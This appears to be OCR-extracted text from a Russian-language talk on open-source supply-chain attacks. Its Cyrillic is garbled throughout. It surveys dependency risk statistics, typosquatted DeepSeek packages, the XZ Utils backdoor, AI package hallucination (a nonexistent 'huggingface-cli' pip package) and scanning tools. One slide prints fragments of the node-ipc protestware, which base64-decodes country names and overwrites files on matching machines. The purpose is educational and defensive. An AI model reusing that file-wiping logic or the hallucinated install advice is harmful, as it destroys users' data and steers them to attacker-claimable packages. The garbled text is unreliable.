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Besne oTkpbiToe MO Phd X &

97% ( NpoeKkToB cogepxaT oTkpbiToe [10
70% C NPOEKTOB OCHOBaHbl Ha OTKpbITOM 10

Black Duck OSSRA Report



https://www.blackduck.com/content/dam/black-duck/en-us/reports/rep-ossra.pdf

NcTopus open source phd X &

GitHub: 10M

GNU, OSF .
projects

1980-e 2013

1950-1960-e 1990-2000-e 2008

.com, Apache,
Mozilla

Science GitHub
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Hawa ctaTncrtuka

Open-source-
NPOeKTOB

PaspaboTunkos
ydyacTtByeT B OSS

PocT ckaumsaHum
naketoB B 2024-wm
K 2023-my



CTaTMCTMKa no ysssumocTtam  PNd

>1000/mec. Protestware, Al

BpenoHOCHbIX PocT aTak yepes HoBble yrpo3bl
NakeToB HaxoOaT nakeTbl
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Yrpo3bl B nakeTax

Ha pasHoun rnybunHe.
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TpaH3UTUBHbIE

TUnnYHbIN
JavaScript-ripoeckT.




Y43BUMOCTU B NpoeKTax

/

% ya3BUMOCTEN B | % YyS3BMMOCTEWN
dkocucrema 3aBucumocTu OunpekTuBHbIE TpaH3UTUBHbIE

AVNPEKTUBHbIX B TPAQH3UTUBHbIX
JavaScript 488 42 446 14 86
Java 90 54 36 34 66
C# 58 23 35 50 50
Python 39 16 23 42 58
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DeepSeek: nouTtn phd X &

= I 2% deepseek.ai

C a I7'| T Ce I7'| LI a C C B O 60ﬂ|e H epseek.ai is an independent website and is not affiliated with, sponsored by, or endorsed

Hangzhou DeepSeek Artificial Intelligence Co., Ltd.

$

DeepSeek.ai is For Sale!

This premium Al-focused domain is now available for
acquisition. Perfect for Al startups, research organizations, and
technology companies.

N )



http://deepseek.ai
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DeepSeek: Android

457 ©

{3 25 deepsekk.sbs

5 API Platform

ceepseek

Into the unknown

Start Now

Free access 1o Deg;

Experience the Intelligent model

Get DeepSeek App

Chat on the go w

Your free all-in

Use DeepSeek?

DeepSeek need

Observe your actions
Retrieve window content

Turn on Explore by Touch

Perform gestures

CANCEL
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DeepSeek: PyPI

B [onb3oBaTenb
bvk noaBuncs

B 2023-m

B0 CupenB3zacape
0o gHBaps 2025-ro

B ABgdHBape
nob6asun gBa
nakeTa

Vamsi

O bvk

@ Joined Jun 20,2023

2 projects

deepseekai
Last released 2 minutes ago
Python client for DeepSeek Al API - access large language models and Al services

deepseeek
Last released 21 minutes ago
deepseeek API client



https://global.ptsecurity.com/about/news/deepseek-popularity-exploited-in-latest-pypi-attack

node-ipc: npoTecT Phd X &

4 N

B mapTe 2022-ro

MNOABUNJTNCb BEPCUI

Repository
10.1.1110.1.2.
¢ github.com/RIAEvangelist/node-ipc

Homepage

& riaevangelist.github.io/node-ipc/

+ Weekly Downloads

576,303 4
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node-ipc: @

JltoboBb — 3TO...

const
const
const
const
try {
<
<
3

wona
cons
for

= Buffer.from("Lw==", "base64");

= Buffer.from(“cnVzc2lh®, “base64");

f
¢ = Buffer.from(*Y291bnRyevauvil®, “basess®); => country name
e
1

i = Buffer.from("YmVsYX)lcw==", “base6d");

onst s = JSON.parse(t.toString("utf8”));
onst u = s[c.toString("utf8")].toLowerCase();

onst a8 = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));

LB & P
t ¢ = Buffer.from("ap2k77iP™, "base6d”);
(ver e = 9; e < r.length; e++) {
const 1 = u.join(n, rle]);
let t = null;
try {
t = a.lstatSync(i);
} catch (%) {
continue;
}
if (t.isDirectory()) {
const s = h(i, o);
s.length > 0 ? f.push(...s) : null;
} else if (i.index0f(o) >= @) {
try {
a.writeFile(i, c.toString("utf8”), function () {});

=9

C
Tepers pee Patingg

=> overwrite files with ®
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node-ipc + Vue.js

[lpumep nakeTa
B NakeTe.

-

Repository

¢ github.com/vuejs/core

Homepage

& github.com/vuejs/core/tree/main/pack...

+ Weekly Downloads

6,317,398

s S Vi
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XZ Utils

2022 — BTupaeTtcs
B AoBepue

02.2024 — JiaT75
no6aBun 3aknagky

2021 — nogBuncy
JiaT7/5 Jia Tan

2023 — JiaT75 cTan
coBnagenbuem

03.2024 —
HaLL 3aKNagKy




XZ Utils cnaceH =

H O M a ‘ ‘ O B a g a I a Ka . 4 Message-ID: <20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de>
Date: Fri, 29 Mar 2024 88:51:26 -0700

From: Andres Freund <andres@...razel.de>
To: oss-security@...ts.openwall.com

He ‘ : ‘ Iyq M ' Ia‘ bI N Subject: backdoor in upstream xz/liblzma leading to ssh server compromise
]

Hi,

After observing a few odd symptoms around liblzma (part of the xz package) on

‘ I Ia C M 60 An d reS Debian sid installations over the last weeks (logins with ssh taking a lot of
] CPU, valgrind errors) I figured out the answer:

\ / The upstream xz repository and the xz tarballs have been backdoored.

- nal \ |
re u d u . At first I thought this was a compromise of debian's package, but it turns out

to be upstream.

carefully, he's a hero)
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ATaKa PaCkage " 2. Create a Hugging Face Account:

. . * You'll need to have a Hugging Face account to upload a model. If you don't have
Hallucination. ol T

MCCﬂeﬂOBaHlﬂe LaSSO 3. Install “transformers ™ Library:

= . * Make sure you have the "transfommers” library installed. You can install it usin
Security: -* L - —

= 2500 3anpocos ang koga

= 25% rannoymHaunn

Install "huggingface-cli”:

* You'll also need the Hugging Face command-line interface (" huggingface-cli’)

to upload your model. Install it using pip:

pip install huggingface-cli



https://www.lasso.security/blog/ai-package-hallucinations
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NN obmaHbiBaeT

HeT nakeTa
huggingface-cli.

Moparnb:
Henb34 cneno
Beputb V.

4 )

huggingface-cli

'f-l--[ 10,000+ projects for "huggingface-cli” Orderby | Relevance ~
huggingface Dec 18, 2020
HuggingFace is a single library comprising the main HuggingFace libraries.

Status
huggingface-download-cli Dec 19, 2022
A utility to download files from the Hugging Face Model Hub

Language

tem E: L o

- pandasai-huggingface Feb 28, 2025
Hugging Face integration for Pandadl

Ence
fiytekitplugins-huggingface Apr23, 2025

dJEE Hugging Face plugin for flytekit
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[MpaBUNbHO UCMONb3YUTE

I noHnmanTte puckn!
A elle eCTb NHCTPYMEHTDI...




[Tonck '5""‘—')( =

= package managers (go mod, = OWASP dep-scan
pip freeze...)

= Grype
= cdxgen = Trivy
= Syft - Dependabot (GitHub)

Trivy
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3almTa

OSA (open source
analysis)

WAF (web application
firewall)

SIEM (security
Information and event
management)
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[Tone3Hble Bnaeo

Mpo6bnema
OTLIOB 1 geTen:
aHanuTUKa

N Tpuax
TPaH3UTUBHbIX
3aBMCUMoOCTEN

TakcoHomMuUS
aTakK Ha Lenoyky
nocTtaBku MO:
TpeHAbl

M NpeanocblUIKn
HOBbIX TPEHA0B,

Muobl n pakTbi
O uenoyke
MOCTaBKMU
nporpamMmMHoOro
obecneyeHus
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https://t.me/parazero5
https://youtu.be/dqjGQBe2yTY
https://youtu.be/f1fJq3d4Xd4
https://youtu.be/wcjmNu8cbek




